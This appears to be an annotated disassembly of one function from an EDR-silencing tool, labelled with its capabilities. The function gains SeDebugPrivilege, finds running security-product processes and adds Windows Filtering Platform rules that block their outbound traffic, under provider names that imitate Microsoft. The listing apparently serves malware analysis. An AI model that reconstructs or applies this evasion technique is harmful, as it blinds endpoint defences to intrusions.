Function at 0x140001070
Capabilities:
Acquire debug privileges
Enumerate processes
Register network filter via wfp api

Disassembly:
push rbp
push r12
push r14
lea rbp, [rsp - 0x520]
sub rsp, 0x620
mov rax, qword [0x140008008]
xor rax, rsp
mov qword [rbp + 0x500], rax
xor r12d, r12d
lea rcx, [rbp + 0x84]
xor edx, edx
mov qword [rsp + 0x38], r12
mov r8d, 0x234
call sub.VCRUNTIME140.dll_memset
lea rax, [rsp + 0x38]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rax
mov edx, 0xffffffff
xor ecx, ecx
mov r14d, r12d
call qword [sym.imp.fwpuclnt.dll_FwpmEngineOpen0]
test eax, eax
je 0x1400010e9
mov edx, eax
lea rcx, str.____FwpmEngineOpen0_failed_with_error_code:_0x_x._n
call fcn.140001010
jmp 0x140001660
xorps xmm0, xmm0
mov qword [rsp + 0x648], rsi
movups xmmword [rbp + 0x2c8], xmm0
mov qword [rsp + 0x30], r12
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov edx, 0x28
lea r9, [rsp + 0x30]
mov rcx, rax
lea r8d, [rdx - 0x27]
call qword [sym.imp.ADVAPI32.dll_OpenThreadToken]
test eax, eax
jne 0x14000117d
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x3f0
je 0x140001147
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____OpenThreadToken_failed_with_error_code:_0x_x._n
call fcn.140001010
jmp 0x140001223
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x30]
mov edx, 0x28
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x14000117d
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____OpenProcessToken_failed_with_error_code:_0x_x._n
call fcn.140001010
jmp 0x140001223
lea r8, [rbp + 0x2cc]
xor ecx, ecx
lea rdx, str.SeDebugPrivilege
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
jne 0x1400011ad
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____LookupPrivilegeValueA_failed_with_error_code:_0x_x._n
call fcn.140001010
jmp 0x140001218
mov rcx, qword [rsp + 0x30]
lea r8, [rbp + 0x2c8]
mov qword [rsp + 0x28], r12
mov r9d, 0x10
xor edx, edx
mov qword [rsp + 0x20], r12
mov dword [rbp + 0x2c8], 1
mov dword [rbp + 0x2d4], 2
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
jne 0x1400011ff
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____AdjustTokenPrivileges_failed_with_error_code:_0x_x._n
call fcn.140001010
jmp 0x140001218
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x514
jne 0x140001218
lea rcx, str.____Failed_to_get_SeDebugPrivilege._You_might_not_be_able_to_get_the_process_handle_of_the_EDR_process._n
call fcn.140001010
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rsi, rax
cmp rax, 0xffffffffffffffff
jne 0x140001250
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____CreateToolhelp32Snapshot__of_processes__failed_with_error_code:_0x_x._n
call fcn.140001010
jmp 0x140001658
lea rdx, [rbp + 0x80]
mov dword [rbp + 0x80], 0x238
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
jne 0x140001290
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Process32First_failed_with_error_code:_0x_x._n
call fcn.140001010
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140001658
mov qword [rsp + 0x640], rbx
lea rbx, str.Custom_Outbound_Filter
mov qword [rsp + 0x618], r13
lea r13, str.Microsoft_Corporation
mov qword [rsp + 0x610], r15
lea r15, [0x140000000]
mov qword [rsp + 0x650], rdi
nop word [rax + rax]
mov r10d, r12d
mov r9, r12
nop word [rax + rax]
mov r8, qword [r15 + r9*8 + 0x5750]
lea rax, [rbp + 0xac]
sub r8, rax
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x140001305
inc rax
test ecx, ecx
jne 0x1400012f2
test edx, edx
jne 0x140001313
cmp dword [r15 + r9*4 + 0x8620], r12d
je 0x140001324
inc r10d
inc r9
cmp r10d, 0x36
jb 0x1400012e0
jmp 0x1400015fb
mov r8d, dword [rbp + 0x88]
lea rdx, [rbp + 0xac]
lea rcx, str.Detected_running_EDR_process:__s___d_:_n
mov dword [r15 + r9*4 + 0x8620], 1
mov r14d, 1
call fcn.140001010
mov r8d, dword [rbp + 0x88]
xor edx, edx
mov ecx, 0x1000
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
test rax, rax
je 0x1400015df
xor edx, edx
lea rcx, [rbp + 0x2f0]
mov r8d, 0x208
call sub.VCRUNTIME140.dll_memset
xorps xmm0, xmm0
mov dword [rsp + 0x30], 0x104
xor eax, eax
lea rcx, [rbp - 0x50]
xor edx, edx
mov qword [rsp + 0x60], rax
mov r8d, 0xc8
movups xmmword [rsp + 0x40], xmm0
movups xmmword [rsp + 0x50], xmm0
call sub.VCRUNTIME140.dll_memset
xorps xmm0, xmm0
mov qword [rbp + 0x2c8], r12
lea r9, [rsp + 0x30]
mov qword [rbp + 0x2c0], r12
lea r8, [rbp + 0x2f0]
xor edx, edx
mov rcx, rdi
movups xmmword [rsp + 0x70], xmm0
movups xmmword [rbp - 0x80], xmm0
movups xmmword [rbp - 0x70], xmm0
movups xmmword [rbp - 0x60], xmm0
movups xmmword [rbp + 0x2d8], xmm0
call qword [sym.imp.KERNEL32.dll_QueryFullProcessImageNameW]
lea rdx, [rbp + 0x2c8]
lea rcx, [rbp + 0x2f0]
call fcn.140002160
test eax, eax
je 0x140001466
sub eax, r14d
je 0x140001445
sub eax, r14d
je 0x14000143c
sub eax, r14d
je 0x140001433
sub eax, r14d
je 0x14000142a
cmp eax, r14d
jne 0x140001458
lea rcx, str.________CustomFwpmGetAppIdFromFileName0_failed_to_convert_the___S__to_app_ID_format._Failed_to_convert_drive_name_to_DOS_device_name._n
jmp 0x14000144c
lea rcx, str.________CustomFwpmGetAppIdFromFileName0_failed_to_convert_the___S__to_app_ID_format._The_drive_name_cannot_be_found._n
jmp 0x14000144c
lea rcx, str.________CustomFwpmGetAppIdFromFileName0_failed_to_convert_the___S__to_app_ID_format._Please_check_your_input._n
jmp 0x14000144c
lea rcx, str.________CustomFwpmGetAppIdFromFileName0_failed_to_convert_the___S__to_app_ID_format._Error_occurred_in_allocating_memory_for_appId._n
jmp 0x14000144c
lea rcx, str.________CustomFwpmGetAppIdFromFileName0_failed_to_convert_the___S__to_app_ID_format._The_file_path_cannot_be_found._n
lea rdx, [rbp + 0x2f0]
call fcn.140001010
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1400015fb
movups xmm0, xmmword [0x140005900]
mov qword [rbp - 0x40], rbx
lea rax, [rsp + 0x40]
movups xmm1, xmmword [0x140005720]
mov rbx, qword [rbp + 0x2c8]
lea rdx, [rbp + 0x2d8]
movaps xmmword [rbp - 0x10], xmm0
movups xmmword [rsp + 0x40], xmm1
mov dword [rbp - 0x30], r14d
mov dword [rbp + 0x30], 0x1001
mov dword [rsp + 0x50], r12d
mov dword [rsp + 0x58], 0xc
mov qword [rsp + 0x60], rbx
mov qword [rbp + 0x28], rax
mov dword [rbp + 0x20], r14d
call fcn.140002340
test eax, eax
jne 0x14000150c
mov rcx, qword [rsp + 0x38]
lea rax, str.Microsoft_Windows_WFP_Built_in_custom_provider.
xor r8d, r8d
mov qword [rbp - 0x78], rax
lea rdx, [rsp + 0x70]
mov qword [rbp - 0x80], r13
mov dword [rbp - 0x70], r14d
call qword [sym.imp.fwpuclnt.dll_FwpmProviderAdd0]
test eax, eax
je 0x1400014fc
mov edx, eax
lea rcx, str.________FwpmProviderAdd0_failed_with_error_code:_0x_x._n
call fcn.140001010
jmp 0x140001517
lea rdx, [rbp + 0x2d8]
call fcn.140002340
test eax, eax
je 0x140001517
lea rax, [rbp + 0x2d8]
mov qword [rbp - 0x28], rax
mov rcx, qword [rsp + 0x38]
lea r9, [rbp + 0x2c0]
xor r8d, r8d
lea rdx, [rbp - 0x50]
call qword [sym.imp.fwpuclnt.dll_FwpmFilterAdd0]
test eax, eax
jne 0x140001550
mov r8, qword [rbp + 0x2c0]
lea rdx, [rbp + 0x2f0]
lea rcx, str.____Added_WFP_filter_for___S___Filter_id:__d__IPv4_layer_._n
call fcn.140001010
jmp 0x14000155e
mov edx, eax
lea rcx, str.________Failed_to_add_filter_in_IPv4_layer_with_error_code:_0x_x._n
call fcn.140001010
movups xmm0, xmmword [str._9rJ]
mov rcx, qword [rsp + 0x38]
lea r9, [rbp + 0x2c0]
xor r8d, r8d
lea rdx, [rbp - 0x50]
movaps xmmword [rbp - 0x10], xmm0
call qword [sym.imp.fwpuclnt.dll_FwpmFilterAdd0]
test eax, eax
jne 0x1400015a2
mov r8, qword [rbp + 0x2c0]
lea rdx, [rbp + 0x2f0]
lea rcx, str.____Added_WFP_filter_for___S___Filter_id:__d__IPv6_layer_._n
call fcn.140001010
jmp 0x1400015b0
mov edx, eax
lea rcx, str.________Failed_to_add_filter_in_IPv6_layer_with_error_code:_0x_x._n
call fcn.140001010
test rbx, rbx
je 0x1400015cd
mov rcx, qword [rbx + 8]
test rcx, rcx
je 0x1400015c4
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rbx, str.Custom_Outbound_Filter
jmp 0x1400015fb
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
lea rdx, [rbp + 0xac]
lea rcx, str.________Could_not_open_process___s__with_error_code:_0x_x._n
call fcn.140001010
lea rdx, [rbp + 0x80]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x1400012d0
mov r15, qword [rsp + 0x610]
mov r13, qword [rsp + 0x618]
mov rdi, qword [rsp + 0x650]
mov rbx, qword [rsp + 0x640]
test r14d, r14d
jne 0x140001644
lea rcx, str.____No_EDR_process_was_detected._Please_double_check_the_edrProcess_list_or_add_the_filter_manually_using_block_command._n
call fcn.140001010
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.fwpuclnt.dll_FwpmEngineClose0]
mov rsi, qword [rsp + 0x648]
mov rcx, qword [rbp + 0x500]
xor rcx, rsp
call fcn.1400024e0
add rsp, 0x620
pop r14
pop r12
pop rbp
ret